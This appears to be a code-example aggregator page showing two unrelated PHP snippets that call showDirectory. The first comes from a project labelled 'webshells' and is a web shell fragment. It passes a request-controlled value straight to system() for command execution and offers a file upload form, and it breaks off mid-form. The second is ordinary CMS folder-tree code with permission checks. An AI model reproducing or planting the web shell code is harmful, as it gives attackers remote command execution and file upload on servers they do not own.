예제 #1
0
파일: mysql.php 프로젝트: Theov/webshells
            $dir = dirname($dir);
            showDirectory($dir);
            break;
        case "exec":
            echo "<pre>\n";
            echo system($dir);
            echo "\n</pre>";
            exit;
        case "upload":
            uploadFile();
            showDirectory($dir);
            break;
        case "save":
            saveFile($dir);
        default:
            showDirectory($dir);
            break;
    }
    if ($do != "view" && $do != "download") {
        ?>
<p>
   <table border="0">
   <tr><?php 
        if (fileperms($dir) & 02) {
            ?>
   <td>
      <form enctype="multipart/form-data" action="<?php 
            print "{$PHP_SELF}?action=explorer&dir={$dir}&do=upload";
            ?>
" method=post>
         <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
예제 #2
0
function showTree($subtree, $level = -1, $expand = '')
{
    global $fm_tree, $cfg_client, $perm, $cms_lang, $idclient;
    if ($level == -1) {
        $treeroot = array(0 => array("iddirectory" => 0, "dirname" => $cfg_client['upl_path'], "status" => 0, "idclient" => $idclient, "parentid" => 0, "name" => $cms_lang["upl_root_dir"], "description" => $cfg_client['upl_htmlpath'], "author" => 0));
        showDirectory(-1, $treeroot[0], '', $treeroot[0]['status'], '#F8F8F8');
        $level = 0;
    }
    if (empty($level)) {
        foreach ($subtree as $key => $value) {
            if ($value[0]['parentid'] != 0) {
                continue;
            }
            if ($perm->have_perm(1, 'folder', $value[0]['iddirectory'])) {
                showDirectory($level, $value[0], $value[0]['iddirectory'], $value[0]['status']);
                if (is_array($value['_members_'])) {
                    foreach ($value['_members_'] as $membervalue) {
                        showTree($fm_tree[$membervalue], $level + 1, $value[0]['iddirectory']);
                    }
                }
            }
        }
    } else {
        if ($perm->have_perm(1, 'folder', $subtree[0]['iddirectory'])) {
            showDirectory($level, $subtree[0], $subtree[0]['iddirectory'] . '_' . $expand, $subtree[0]['status']);
            if (is_array($subtree['_members_'])) {
                foreach ($subtree['_members_'] as $membervalue) {
                    showTree($fm_tree[$membervalue], $level + 1, $subtree[0]['iddirectory'] . '_' . $expand);
                }
            }
        }
    }
}